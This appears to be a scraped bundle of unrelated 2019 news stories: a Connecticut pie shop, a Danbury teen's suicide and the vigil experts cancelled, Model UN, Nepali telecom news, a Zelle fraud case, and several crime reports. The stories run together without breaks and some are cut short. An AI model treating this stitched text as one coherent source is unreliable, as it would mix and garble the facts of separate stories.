Gardner said her family looks forward to dining at American Pie, and plans ahead for what they will get for dessert.

Day said the business success is due to the customers.

Its a nice customer base and they support us, she said. And its about the people.

The business has grown since its humble beginnings. The bakery was first situated where the counter is today. About a year later, the co-owners opened the space, moving the bakery and providing a larger entrance.

The full bakery was moved downstairs about 10 to 15 years into the business, allowing even more space to showcase sweet treats.

Outdoor dining on the patio was added in most recent times.

The American Pie Company, located at 29 Route 37 in Sherman, is open daily. Catering, family meal deals for four, early bird dinner specials from 4 to 6 p.m., pizza nights Fridays through Sundays, and kids eat free nights Tuesdays and Wednesdays from 4 to 8 p.m. are available. For more information, call 860-350-0662./

Searches for a 58-year-old missing hiker stopped Tuesday after the body of a man was found in the area where responders were looking, Connecticut State Police said.

Police are not saying the body is that of Trevor French, reported missing out of East Granby on Monday.DANBURY  A vigil for a local teenager who died Saturday will not be held this weekend at the recommendation of child advocates and mental health experts.

A friend of Hailey Nailor, who took her own life outside the Danbury Fair mall, had suggested friends and acquaintances gather to remember the 16-year-old during a community vigil this Saturday afternoon.

But the vigil has been quashed by experts who warn that, despite the friends good intentions, such an event is not the healthiest way for students shocked by the incident to grieve and process their loss.

We dont want kids to have this over-memorialized in any way because that can be really detrimental to people who are themselves dealing with mental health issues, said Faith Vos Winkel, a state assistant child advocate who is working with the Nailor family. So its really important that we honor the best practices, that we confer with families and that we make sure that everybody sort of understands that we want to be respectful and do it in a safe messaging way.

Instead of the vigil this weekend, Vos Winkel and other providers are helping Nailors friends to participate in Out of the Darkness suicide prevention walks and fundraisers this fall as a more appropriate way to celebrate Nailor.

The family will not host public services for their daughter this week, said Kevin Nailor, Haileys father.

The idea to host the vigil began Sunday evening when Nailors friend Maria Garcia posted the suggestion in a heartfelt tribute to her friend on Facebook. The post has since been shared more than 440 times.

But the suggestion raised red flags for experts across school, nonprofit, mental health and social service organizations on Monday morning, said Tom Steen, chair of the Connecticut chapter of the American Foundation for Suicide Prevention.

Almost 30 leaders statewide convened a conference call Monday afternoon to coordinate how best to connect the Nailors to appropriate services and work with Haileys friends to avoid a gathering at the location of her death this weekend.

The experts most feared what is called contagion effect, in which a group memorial like the one proposed actually spurs someone already showing warning signs of self-harm to engage in harmful behavior, Steen said.

Its best to wait and then when the family does agree and you want to have some sort of memorial, as opposed to a vigil, its done in a safe place with safety resources available, he said. So if somebody is at-risk and is really troubled, there are resource people around to help and to keep people safe.

Garcia could not be reached for comment. But Vos Winkel said she has coordinated with her mother to cancel the event and involve Garcia either in planning a memorial later this year or participating in Out of the Dark walks in the fall.

More Information Suicide prevention lifeline If you or someone you know is contemplating suicide or needs emotional support, help is available 24/7 through the National Suicide Prevention Lifeline. The lifeline is free, confidential and available any time by calling 1-800-273-8255 or by visiting www.suicidepreventionlifeline.org. See More Collapse

It was all the best intentions, but thats got to be channeled in a way that we know is the safest messaging for kids, Vos Winkel said.

Brookfield mother and advocate Debbie Berman said teens crave these discussions. Her daughter Alexa died by suicide more than 10 years ago and Berman now works to raise mental health awareness among teens and parents.

These kids need it, Berman said. Some of them do want it. If you can erase the stigma and get them talking, I think it would be so much healthier. Maybe we could start to see a decrease in it, if youre able to open up the lines of communication and people know the signs to look for.

Nailors friends and family have remembered her as a caring, funny teenager who loved rap music and writing lyrics.

The incident has rocked students across the citys schools and administrators said they arranged to have counselors available for students at Danbury High School on Monday. Schools were closed due to the snow on Tuesday.

Danbury Police announced Tuesday morning that they are looking at all aspects of Nailors death, including a possible social media influence.

Before Nailors death, she posted a video on social media, announcing her intent to harm herself. One teen responded with an insensitive remark. The comment has led to speculation about whether bullying played a role in Nailors death.

Should our investigation reveal a criminal aspect, we will inform the public at an appropriate time, Detective Sgt. Gary Guertin said.

Kevin Nailor has said he does not believe bullying played a major role in his daughters death and said she has struggled with mental illness for several years.

School district officials have said little about the incident, but Board of Education leaders suggested the situation likely will renew discussions about how the district addresses mental illness and cyberbullying.

Reaction to the incident is expected to be at least part of the discussion at the school boards regular meeting on Wednesday night. The board will have a moment of silence for Nailor before the meeting begins, board chairman Pat Johnston said.

Staff writers Kendra Baker and Julia Perkins contributed to this report. zach.murdock@hearstmediact.comMichael Borger, secretary general of the 45th annual Yale Model United Nations conference, addressed a sea of diligent students during the opening ceremony last month.

Our goal is not to give awards, certificates, or speeches, but to instill our message: Learn today, lead tomorrow, he said. The goal is to take the skills you learn here and use them to form a better world. Make friends, open your eyes, and start the change.

With that, over 2,000 students from 80 schools across 40 distinctive countries were discharged for their first committee session at the Yale Model U.N. 2019.

Among them were 11 students from Danbury High School. It was the DHS Model U.N. Clubs first year in attendance. Coordinated by club advisor and history teacher Anthony Steady, alongside senior president Kayla Downs, the Model U.N. club attended thanks to a Breaking Boundaries scholarship, granted to first-time attending schools.

The Model U.N. club formed last year when Downs aspired for DHS students to fulfill the purpose of Model U.N.  allowing for students to grow and develop their public-speaking and critical-thinking skills.

In Model U.N., students represent a delegate from each country and debate pressing matters facing global security in present time. They compromise with other nations to pass working papers, which cite the resolutions made to solve the presented problem.

Steady had heard of the conference in his own high school years. I remember being in high school and very much enjoying it, he said. Engaging in the debate and gaining a new perspective from all of these students is my main priority for us.

His goals were fulfilled as DHS students became members of a variety of committees  from the Historical General Assembly and Development to the Special Political and Decolonization Committee. Each student had the unique opportunity to tackle the most pressing problems in our time.

Students walked into the conference with the goal of learning from those more experienced than them, and gain the opportunity to apply their compromises to make considerable changes within their own lives. Sophomore Rebecca D'Ostilio represented Slovakia on the Commission on the Status of Women.

On her first day, she expressed great passion in the issues she was presented. I understand my stance and role as a young female in this committee, she said. I hope to instill more confidence in my leadership skills and become a moral leader overall for others. By the end of the conference, she sponsored a resolution that was passed, and worked tirelessly with her committee to do so.

During the Opening Ceremony, held at the Omni Hotel in New Haven, students heard from notable figures, such as Save the Children President Carolyn Miles and U,S, Ambassador Harry Thomas. The people at this conference are the ones who will change our world, Miles said.

Yale Model U.N. partner Crimson Education further emphasized this, as secretary general Borger relayed their intent being to take your solutions to global issues and apply them to your communities.

Within the actual conference, students were able to work directly with Yale students who helped them along the way in developing their Model U.N. capabilities. Committee sessions were hosted on campus, and provided the chance for students to demonstrate their formidable presence for a chance to win delegate awards, given to those with the strongest showing of collaboration and respect.

Despite not winning any awards, fellow advisor and DHS social studies teacher Katherine Holden was immensely proud of her students. I really appreciated how serious they were about this, she said. It takes bravery to go on a three-day trip with thousands of other foreign students as a first-timer. However, they defied our wildest expectations.

While learning how to speak in front of an audience alongside making compromises proved to be challenging, garnering new perspectives from a variety of other schools and experiences proved to be worthwhile. My proudest accomplishment was working with the other students in my committee, said Roshni Vasudevan, a junior who represented Mongolia on the Economic and Financial Council. In the end, we all became friends, and I hope to stay in contact with them. Through compromises and resolutions, we were unstoppable when we worked together.

In the end, going through the admission process, getting the approval, working with Yale  coupled with the tireless research our club put into this conference  was all worth it, Steady said.

The Danbury High School Model U.N. Club plans to participate in the Yale Model U.N. Conference for years to come.

Viktoria Wulff-Andersen is a sophomore and student journalist at Danbury High School.3 1 of 3 New Haven Museum / Contributed photo Show More Show Less 2 of 3 New Haven Museum / Contributed photo Show More Show Less 3 of 3





A set of shackles and an original issue of a Green Book are among the items that will be passed around when the New Haven Museum hosts Jeffrey Fletcher and objects from his collection, Images of America, on Tuesday, Feb. 26, at 5:30 p.m.

The artifacts and memorabilia reflect the African-American experience, with items and images from periods of slavery, the Jim Crow era and the civil-rights movement, according to a museum news release. Items on view will include a Ku Klux Klan hood and robe, and, in counterbalance, a flight jacket and photos from the famed Tuskegee Airmen.Help support your local hometown newspaper/website. Independent local news reporting matters. Please log in, or sign up for a new account and purchase a subscription, for as little as $3, so we can continue to provide independent local reporting on our communities.Head proud of pupils' achievements

THE headteacher of Kennet School has said she is pleased with the schools league table performance, despite a drop from last year.

The school was ranked fourth in West Berkshire in league tables published last week, with an above average Progress 8 score of 0.17.

The Progress 8 measure compares the progress pupils make since leaving primary school across eight GCSEs.

Although the result puts Kennet above average, the schools result represents a dip from its joint high score of 0.41 last year.

In contrast, Newburys St Bartholomews School scored 0.65, up from its 0.41 last year, with The Willink School, Burghfield Common, and The Downs, Compton, scoring 0.38 and 0.36 respectively.

The six remaining secondary schools in West Berkshire were all graded average.

Kennet had the highest number of pupils sit GCSEs last year at 260. St Bartholomews had 240, The Willink had 154 and The Downs 181.

Speaking on the results, Kennet executive headteacher Gemma Piper said: The reality is Im so proud of what those individual pupils achieved and we had the biggest uptake in Sixth Form off the back of those results.

The league tables are essential and show the scores, but cohorts are all very different.

We were proud of the results and everything our pupils achieved and what they are going on to achieve.

Last years GCSEs were the first to see a majority of subjects switch to a new grading system and syllabus.

It is a drop from last year and thats the challenge we face every year, said Mrs Piper.

It has a huge impact on how we run as a school, however every school is facing the same set of challenges.

The Progress 8 looks at the progress of pupils, but because it groups subjects in relevance or likeness, some of those low-ability pupils are disadvantaged more widely.

St Barts are our real competitors, but we finished above them in A- levels.

The school added that it was delighted to have been recognised by data analyst specialist Alps for performing in the top 25 per cent of schools for Outstanding Progress consistently over the past three years.

The result measures pupils progress from their starting and end points and then compares nationally subject to subject.

Mrs Piper said: Im really pleased with that, thats no mean feat really.

Things are changing all the time and we need to be on our toes so pupils have the best options in the next rule set and they get to benefit from that.Samsung launches M10, one of the affordable M series smartphones in Nepal. The M series is Samsungs answer to Xiaomi, Huawei and other Chinese smartphone vendors. Samsung M10 having a solid build quality competes well with other similar range phones. Lets see what we can get with the price tag of Rs 13790 in Samsung M10.

Samsung M10 has a 6.22 inches, 720 x 1520 pixels IPS display having 90% screen ratio and 19:9 aspect ratio. The screen has a tear drop notch to house the front-facing camera. The phone is powered by its own Exynos 7870 Octa-core processor.

The 4G smartphone has 2 GB of RAM and 16 GB of storage, storage expandable up to 512 GB with a micro SD card. Here is how Samsung expresses about their phone.

Im V cool: 6.22 inch HD+ infinity V display, 90% screen to body ratio.

Im Social: Ultra Wide dual rear camera. Easy group photos.

Im fab: 13 MP/ f1.9 live focus camera. Portrait shots and low light photo.

Im more: 5 MP front f/2.0 with indisplay flash

Im quick: 1.6 GHz Exynos Octa core processor. Dual VoLTE and dedicated memory slot.

Im slim: 7.7 mm slim body.

Im unstoppable: 3400 mAH battery. Long haul action

Im secure: Fast face unlock.

Im smooth: Superfast Experience V9.5 over Android 8.1 Oreo

As the above tag lines have marketing flavor, here are the detailed specs of the Samsung M10 phone.

Detailed specs

6.22 inches, 96.6 cm2 (~82.1% screen-to-body ratio), 720 x 1520 pixels, 19:9 ratio (~270 ppi density)

Exynos 7870 Octa (14 nm) processor

GPU: Mali-T830 MP1

SIM Dual SIM (Nano-SIM, dual stand-by)

Dual rear camera of 13 MP, f/1.9 aperture, 1.12m pixel, PDAF and 5 MP, f/2.2 aperture, 1.12m pixel

Front camera of 5 MP, f/2.0

2 GB of RAM and 16 GB storage

MicroSD card slot, up to 512 GB (dedicated slot)

Experience 9.5 over Android 8.1 (Oreo)

3.5 mm Audio jack

supports 4G

3400 mAH battery

Face unlocking with front camera.

Price: Rs 13,790

Colors: Ocean blue and Charcoal black

Samsung M10 is already available at leading offline stores and also at Sastodeal and Daraz online stores.

Please comment about what do you feel of Samsung M10 phone and its price.

Follow us on Facebook, Twitter, and Viber to get latest news, information about Ntc, Ncell, Smart Cell and phones in Nepal.



Recommended:Nepal Telecom (NTC) has got an additional spectrum in 800 MHz for its 4G expansion project. A meeting of Radio frequency Allocation committee on Tuesday (Magh 29,2075) has decided to award 10 MHz frequency in 800 MHz spectrum.

Earlier Nepal Telecom had asked for an additional frequency to NTA, the regulator body. They ask for the particular spectrum as 800 MHz is idle for expansion of 4G network in remote areas.

Suitable for remote places

According to MD, Nepal Telecom, 800 MHz is suitable for 4G expansion in hilly and mountainous areas with a lot of remotenesses. Similarly, Kantipur reports quoting NTC MD words that 1800 MHz is preferred for city areas.

As per him, rural areas have less population density and dispersed livelihood, 800 MHz 4G networks would assure the wide coverage in such areas.

On Feb 3, 2019, Ntc had dealt a contract with ZTE and CCSI HongKong for the expansion of 4G network throughout the country.

READ ALSO: What happens when we talk of 4G?

The committee has determined the price of 800 Mhz as 1 crore 35 lakhs per 1 MHz for now. Whereas they will charge Nepal Telecom with the price that comes after the spectrum auction of this band. MoCIT Minister leads the frequency allocation committee, with members from Ministry of Defense, Home Ministry, MoCIT, Ministry of Tourism and NTA Chairman.

Ntc 4G band

Currently, Nepal Telecom has 4G network in Kathmandu and Pokhara only. The frequency band used now is of 1800 MHz which co-exists with 2G GSM technology. With the new project, they aim to expand the 4G network across the country within a year time.

Spectrum Auction

Although NTA had already moved ahead with the spectrum auction, it is halted due to the Supreme Courts decision. Find the latest SC decision to put the spectrum auction on hold.

NTA has more plans to distribute other frequency bands based on spectrum auction, as per Radio spectrum Policy. The policy also has the provision to allocate frequency to the government-owned telco, Nepal Telecom and charge them with the price of the highest amount in the auction.

Why telcos need frequency spectrum?

The Frequency spectrum, one of the important resources in the telecom sector, could bring huge revenue to the government. As frequency is a limited resource, telcos do not want to miss the opportunity to grab more spectrum bandwidth. No telecom operators (mobile operator) can start wireless mobile service without frequency. Similarly, more frequency spectrum will put a telco in upper hand over other telcos.

READ ALSO:

Follow us on Facebook, Twitter, and Viber to get latest news, information about Ntc, Ncell, Smart Cell and phones in Nepal.



Recommended:The Veterans Services office in Lawrence, Massachusetts is inviting everyone to the funeral of a World War II veteran who has no living family members left.

Veteran James McCue died Thursday at Cedar View Rehabilitation and Health Care Center, the Eagle-Tribune reports. He was 97.

A Lawrence native, McCue enlisted in November 1943 and battled in an anti-aircraft artillery unity. Francisco Urena, Secretary of Veterans Affairs, told the Tribune that McCue was among the personnel who helped liberate France.

McCues wife died before him, leaving the vet without any family members to attend his funeral. Volunteers are invited to attend to memorial instead.

McCues funeral will begin at 1 p.m. Thursday in Bellevue Cemetery in Lawrence. Those interested in paying their respects to the World War II veteran are encouraged to attend his services.What to Know Jenny Racioppi was notified last November by Bank of America that there was suspicious activity on her account.

The bank notified Racioppi of a password change to her account and that she had added someone as a Zelle recipient.

Racioppi had never used or even heard of Zelle. Bank of America initially refused her a refund for the fraud until NBC10 got involved.

Jenny Racioppi was at a family gathering at her North Reading, Massachusetts, home last November when she received a call from Bank of America, informing her of some suspicious activity on her account. That's when Racioppi noticed a series of alarming emails in her inbox.

First, an alert from Bank of America, notifying her of a password change to her online account. Then, another message from the bank, informing her that she had added someone named "Christian Williams" as a Zelle recipient. And within minutes, another email confirming the Zelle transfer of $1,500 from her checking account.

"I was panicked and scared," Racioppi recalled. "I didn't know how someone got into my account or how the bank could let someone take money out of my account."

Until that incident, Racioppi had never used or even heard of Zelle, the rapidly-growing payment platform that allows bank customers to instantly send money to acquaintances.

Advertisements pitch Zelle as an easy way to split the check at a restaurant or pay for things with the touch of a button on a mobile phone when the wallet is not nearby.

Launched to compete with the likes of PayPal, Apple Pay or Venmo, the person-to-person platform is promoted by dozens of the country's biggest banks.

In one ad, the characters rap, "You can send money safely, 'cause that's what it's for. And it's backed by the banks, so you know it's secure."

However, Racioppi's introduction to Zelle provided anything but a sense of security. After graduating from nursing school, she had just landed a job at Winchester Hospital, following the same career path as her mom.

The fraudulent transfer pilfered her account shortly after receiving her first paycheck as a nurse.

"I watched her work so hard to get that job and her first paycheck was stolen. It's just horrible," said her mom, Jami Racioppi. "It's so obvious she was hacked."

But Bank of America's fraud department did not seem to agree. After initially denying a refund, the Racioppi's gathered more documentation to support their case.

Once again, a letter from Bank of America denied their claim.

"Our investigation found that you gave your Online ID or Passcode to a person or entity," the denial letter read. "Under this circumstance, you authorized that person or entity to perform a transaction on your behalf."

The decision stunned the North Reading mother and daughter, who then reached out to the NBC10 Boston Investigators for help.

"I don't understand how criminals can get access into peoples private lives, then you can be stolen from, and youre blamed for it!" Jami Racioppi said about her daughter's situation.

The refusal of a refund surprised cybersecurity expert Steve Weisman, who said the case seemed like a clear-cut case of fraud. Weisman explained that hackers likely gained access to Racioppi's bank account through online phishing efforts.

Once in control of the account, the cyber thieves take advantage of what Zelle promote: a rapid transfer of funds.

"What they sell is instantaneous. We'll get that money in and out. In this case, it went to one of the bad guys," he explained.

Weisman said it's a perfect illustration why apps like Zelle and Venmo should only be used for friends and family. If something goes wrong, and a consumer authorized the transaction, the money is likely gone.

"You dont want to use these peer-to-peer payments for commercial transactions," Weisman said. "You're not getting the same protection as you would with a credit card."

Case in point: a Cambridge consumer who reported his experience to the Massachusetts Attorney General's Office.

According to the complaint obtained by NBC10 Boston, the man used Zelle to pay for Boston Celtics playoffs tickets last May.

However, it turned out to be a scam and the tickets never arrived. Because he authorized the checking account transfer, instead of using a credit card, the consumer did not recover the money.

In a recent blog post about best practices, Zelle warns consumers to only use the service with people they know and trust. After a slew of criticism about its security last year, the e-payment platform also told NBC10 Boston it has added additional safeguards to help ensure money gets to its intended recipients.

In Racioppi's case, Zelle was the vehicle used to steal money after her banking account was hacked.

In a statement, Early Warning Services, the network operator behind Zelle, told NBC10 Boston:

"When fraudsters, unfortunately, gain access to a user's online banking account, they may be able to leverage Zelle to transfer money out of the account. In the event unauthorized transaction activity is facilitated through Zelle, we have processes to help consumers resolve the issue with their banks."

After NBC10 Boston contacted Bank of America about Jenny's fraudulent transfer, the banking giant finally agreed to refund the $1,500.

"We apologize for the delay in resolving this claim as internet fraud can be complicated to uncover and these cases require additional investigation before fraud can be confirmed," a Bank of America statement said.

The bank also provided these tips and resources about how to keep account information private and secure.

Racioppi is relieved the $1,500 is back in her checking account but admitted the experience has left her wary of the technology.

"I work so hard for my money and it's crazy that someone can just take it away in one second," she expressed. "This entire thing was so frustrating, stressful and unfair."

Ryan Kath can be reached at ryan.kath@nbcuni.com. You can also follow him on Twitter or connect with him Facebook.A Massachusetts man authorities say caught a tuna out of season and then dumped the headless, 400-pound carcass in the woods has been placed on probation after pleading guilty to related charges.

The Salem News reports that Harold Wentworth, of Gloucester, pleaded guilty on Monday to littering from a vehicle, improper disposal of waste and driving after license suspension. He was sentenced to a year of probation and ordered to pay a $1,000 fine.

During the hearing, Wentworth's attorney disclosed that federal fisheries regulators have already fined his client $15,000.

The bluefin tuna worth an estimated $10,000 was found in the woods of Gloucester in October 2017. A tow truck was needed to haul it out of the trees.

Prosecutors say as a commercial fisherman, Wentworth knew the rules.A man who allegedly broke into a neighbor's house, set fire to his own furniture and killed a pet lizard in the blaze has been arrested.

Alex James, 26, of Putney, Vermont was arrested at about 12:30 a.m. Wednesday after police responded to a call of a family disturbance on Mill Street, according to state police.

There, authorities found James outside his home in what police called a "state of excited delirium." State police said they also saw fire crews battling a blaze at James' home.

An investigation determined James allegedly forced his way inside another home on Mill Street, where he tried to destroy property inside, according to state police. Officials say the suspect used a hatchet to try to gain access to a bedroom where several people in the home were barricaded in an effort to keep him from entering.

Officials said James then returned to his home, where witnesses say he set his furniture ablaze. The furniture fire grew and lead to a structure blaze. State police said a pet lizard was found dead in the house as a result of the fire.

James was arrested and charged with first-degree arson, aggravated domestic assault, cruelty to an animal, burglary, unlawful mischief, reckless endangerment, felony unlawful trespass.

He is scheduled to appear at Windham Court on Wednesday for his arraignment. It is unclear if he has an attorney.After hours of negotiating with a man who barricaded himself in a Reading, Massachusetts home, police were able to arrest the suspect.

Jeffrey Logan, 38, was arrested early Wednesday for allegedly firing a shot into the air near a teenager who was shoveling. Authorities were notified of the gunshot at about 11:45 p.m.

Shawn Ferris, who owns the Woburn Street apartment building where the incident took place, says his godson was shoveling the walkway at the time.

"He pulled out a gun, held it up in the air and fired it," Ferris said.

Logan allegedly told the teen he "better not snitch."

Police responded to the apartment building, where Logan refused to leave his home for several hours overnight.

Out of caution, authorities evacuated other residents from the building and established a perimeter. A SWAT team responded to the incident and negotiators attempted to get in contact with Logan multiple times.

Just before 3 a.m., SWAT members entered the unit the suspect was in and were able to arrest him. Officers recovered a silver semi-automatic handgun in the unit, Reading police said.

No injuries were reported in the incident.

Logan was charged with illegal possession of a firearm, intimidation, discharging a firearm within 500 feet of a dwelling and other charges.

The owner of the building told NBC10 Boston that the man Logan is accused of approaching before firing his gun into the air is his godson.

Logan appeared in Woburn District Court Wednesday to answer to seven charges.Five Springfield, Massachusetts police officers are facing criminal charges for allegedly assaulting and badly beating four civilians following an argument at a bar four years ago.

Daniel Billingsley, 30, of Springfield; Anthony Cicero, 29, of Hampden; Christian Cicero, 28, of Longmeadow; Igor Basovskiy, 33, Springfield; and Jameson Williams, 33, of East Longmeadow are all charged with four counts of assault with a dangerous weapon, three counts of assault and battery, one count of assault and battery - serious bodily injury and one count of conspiracy.

All five officers were arraigned Wednesday in Springfield District Court, where they pleaded not guilty and were released on personal recognizance, with the conditions that they stay away from the victims and turn over any personal weapons to state police. They are scheduled to return to court on March 15.

According to the Massachusetts Attorney General's Office, the five officers were off-duty when they physically assaulted four people after a confrontation at Nathan Bill's Bar & Restaurant in Springfield on April 8, 2015. The victims were allegedly beaten and kicked and one or more of the defendants used weapons during the attack. The type of weapon was not released.

The victims sustained serious injuries, some of them permanent. Prosecutors have said that one of the victims lost teeth in the attack and suffered a broken leg and ligament damage to his ankle.

According to MassLive.com, the victims told investigators they were having drinks at Nathan Bill's when the officers started an argument. One of the victims said he was whistling at a bartender for a drink, but one of the officers accused him of whistling at his girlfriend. They were later assaulted outside the bar.

Investigators said statements from victims and witnesses, phone records and video evidence all led to the identification of the defendants.

A sixth Springfield police officer, 54-year-old Jose Diaz, was previously charged in connection with the 2015 assault. He was arraigned in November on the same charges the other officers are facing. He entered a not guilty plea and was released on personal recognizance. He is due back in court on May 2.

The investigation is ongoing, and is being conducted by the attorney general's office with assistance from the FBI Boston Division.

MassLive.com said the fight has already cost the city of Springfield nearly $900,000 in legal settlements.Police arrested a man in the abduction and rape of a lifeguard at a pool in Alexandria, Virginia, in September 2016.

The woman told police an unknown man approached her while she was at work at a pool in the 200 block of South Pickett Street. He took out a gun and raped her, police said. The victim called for help after the suspect fled.

Jesse Bjerke, 37, of Arlington, is charged with rape, abduction, object penetration and use of a firearm in the commission of a felony.

He is being held without bond.A Virginia police officer was justified in shooting a man after police responded to a call of shots fired last December, authorities said.

The Office of the Commonwealth's Attorney said in a statement issued Tuesday the Alexandria police officer reasonably feared for his life and fired his weapon in what the office termed "justified self-defense."

Officers encountered an individual with a firearm on Dec. 2, 2018, and shot him, Alexandria police said.

Police identified the shooting victim as 28-year-old Michael Ligon. He is charged with multiple offenses, including attempted malicious wounding of a law enforcement officer.

Ligon is being held in the Alexandria Adult Detention Center as he awaits trial. It couldn't be determined Wednesday if Ligon has an attorney representing him.A top-rated high school in a Maryland suburb of Washington, D.C. is disciplining students found to have handed out paper passes giving "permission" to use a racial slur.

Several students at Winston Churchill High School in Potomac, Maryland, gave out "N-word passes," Principal Brandice Heckert said Monday in a letter to families. The paper passes were handed out during lunch on Friday and were meant to give the recipient permission to use the slur, Heckert said.

The principal called the distribution of the passes "an act of hatred."

"I am deeply disappointed and appalled that any student in our school would chose to engage in such a racist, hateful act," Heckert said. "This behavior is disgraceful and does not reflect the values expected of Winston Churchill students."

Student Djamil Nsarr said this wasn't the first time the notion of a pass to use a slur has come up at the school.

"This has happened to me in the past, where a random white kid will come up to me like, 'Hey, yo, can I get an N-word pass?'" he said Tuesday.

The students involved with the passes will be punished in line with the student code of conduct, the principal said. She didn't specify how they would be disciplined or how many students were involved.

A parent-teacher-student association meeting regarding the incident will be held Feb. 19.

Churchill High is ranked among the top high schools in the country. It's a National Blue Ribbon School and was rated No. 1 in Maryland by U.S. News & World Report in 2018, and No. 4 in Maryland by Newsweek in 2015.A man who worked at a Northern Virginia community center for people living with disabilities has been accused of raping a second mentally incapacitated woman, Fairfax County police said.

Bernard Betts-King, 60, was first charged earlier this week with raping a woman through the use of her mental incapacity. He was charged after the woman's family discovered she was pregnant.

On Friday, more charges were filed in the 2017 rape of another woman who is mentally incapacitated.

Betts-King was working with the victim as a behavioral specialist at the MVLE Community Center when the 2018 rape occurred, according to a police statement.

In August of 2018, our detectives were notified by a family member that the victim had unfortunately become pregnant, and she was not capable of consent due to physical and mental capacities, Fairfax County police Capt. Thea Pirnat said.

Police used DNA to develop Betts-King as a suspect. It's possible he may have targeted other women.

MVLE previously said it is cooperating with the police investigation and Betts-King no longer works for the agency.

MVLE said on its website that it helps people with disabilities find jobs or get training, in addition to providing other social services.

Betts-King also worked for Community Living Alternatives in Fairfax.

We were shocked, taken aback by it, Executive Director Susan Keenan said. Were focused entirely on making sure that our individuals are safe and healthy right now."

It's unclear if Betts-King has a lawyer who could comment.

Detectives believe there may be more victims and are asking the public to call 703-246-7800 if they have information. Betts-King is currently being held without bond at the Adult Detention Center.Members of Congress are raising questions about the upcoming release from prison of a Fairfax County, Virginia, man who kidnapped and tortured a 13-year-old Pittsburgh girl in 2002.

A News4 I-Team report earlier this month revealed the U.S. Bureau of Prisons transferred Scott Tyree to a halfway house just four miles from the home of his victims family in Pittsburgh. The I-Team report triggered outrage from the family, raised questions about federal prison policy and elicited strong responses from Congress.

Tyree pleaded guilty to federal sex crimes in 2003 and served most of a 19-year prison sentence.

He lured his victim on the internet in January 2002, then drove from Fairfax County to Pittsburgh to abduct her and hold her captive in his Herndon townhouse.

The crime led to a national manhunt, and the rescue of Alicia Kozakiewicz after a four-day search.

The I-Team learned the U.S. Bureau of Prisons transferred Tyree from the federal prison in Butner, North Carolina, to a halfway house in downtown Pittsburgh in December. The transfer indicates Tyree plans to re-enter the community in Pittsburgh, rather than Fairfax County.

Hes scheduled to receive a full release from prison in April.

Theres no reason he should be our problem, said Mary Kozakiewicz, Alicias mother. As long as hes here, hes going to be our problem. Its terrifying. Its emotional abuse."

Rep. Debbie Wasserman Schultz, D-Florida, a member of the U.S. House Appropriations Committee, formally requested information about the case from the U.S. Bureau of Prisons. In a letter to the agency, Rep. Wasserman Schultz said there are grave concerns about the decision to transfer Tyree within four miles of Alicias family. Her letter said the transfer is a particularly egregious oversight. The congresswoman also requested the U.S. Bureau of Prisons provide records about Tyrees incarceration and release.

The I-Team learned Pennsylvania members of Congress, who represent the Kozakiewicz family, are also reviewing the decision.

The state's two U.S. senators made a statement to the I-Team, saying they are pressing the U.S. Bureau of Prisons for more information to ensure the rights of the victim and her family were protected and to request the transfer of Tyree to a different facility due to the unique circumstances of this case.

The U.S. Bureau of Prisons has declined multiple requests for comment about its decision to transfer Tyree to the Pittsburgh halfway house. The agency instead referred the I-Team to policies listed on its website, including a policy saying the agency considers the history of the offender and the nature of the crime when considering transfers.

Whose bright idea was it that (Tyree) should go back to live in the community where the victim lives and where his crime occurred? said safety advocate Camille Cooper, who works for the National Association to Protect Children.

This is re-traumatizing them, Cooper said.

The U.S. attorney for the Western District of Pennsylvania prosecuted Tyree in 2003. In a statement, a spokeswoman for the U.S. attorney said inmates are customarily released in the community in which they were prosecuted.

This is not someone who stole a bicycle, this is not someone who transported cocaine across state lines, this is someone who abducted and tortured a young woman almost to death. You don't put that type of offender anywhere near the victim, Cooper said.

Cooper and the Kozakiewicz family said they would urge the U.S. Bureau of Prisons to transfer Tyree to a different halfway house further from Pittsburgh.

We should be able to live our lives," Mary Kozakiewicz said. "We are the victims. We are not the perpetrators.Election 2019 Which Chicago mayoral candidate do you align most closely with? Take this quiz to find out. Chicagoans will head back to the polls on April 2 to decide whether Lori Lightfoot or Toni Preckwinkle will be the city's next mayor. We asked both candidates whether they support or oppose 14 proposals, and to rank their importance on a scale of 1 to 10, with 1 being least important and 10 being most important. By answering the same questions, our algorithm will identify how closely your positions align with each candidate. The Tribune is not collecting the results and you may take the survey as many times as you like. For more information about the candidates and the issues, visit our Chicago Voter's Guide. Question 1 Do you support freezing Chicago property taxes? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 2 Do you support taxing suburbanites who commute to work in Chicago? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 3 Do you support legalizing recreational use of marijuana? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 4 Do you support preserving Chicagos status as a sanctuary city for immigrants? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 5 Do you support a casino in downtown Chicago? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 6 Do you support legalized video gambling in the city? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 7 Do you support the practice known as aldermanic privilege in which aldermen have final say over projects in their wards? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 8 Do you support building a high-speed tunnel from Downtown to OHare as proposed by Elon Musk? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 9 Do you support a moratorium on closing Chicago public schools? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 10 Do you support term limits for aldermen and the mayor? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 11 Do you support renaming the Dan Ryan Expressway for President Barack Obama ? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 12 Do you support reducing the City Council to 25 or fewer aldermen? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 13 Do you support a graduated income tax in Illinois? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10 Question 14 Do you support the practice known as dibs in which drivers can stake out parking spots they shoveled? More Information Yes No No Opinion Importance 1 2 3 4 5 6 7 8 9 10

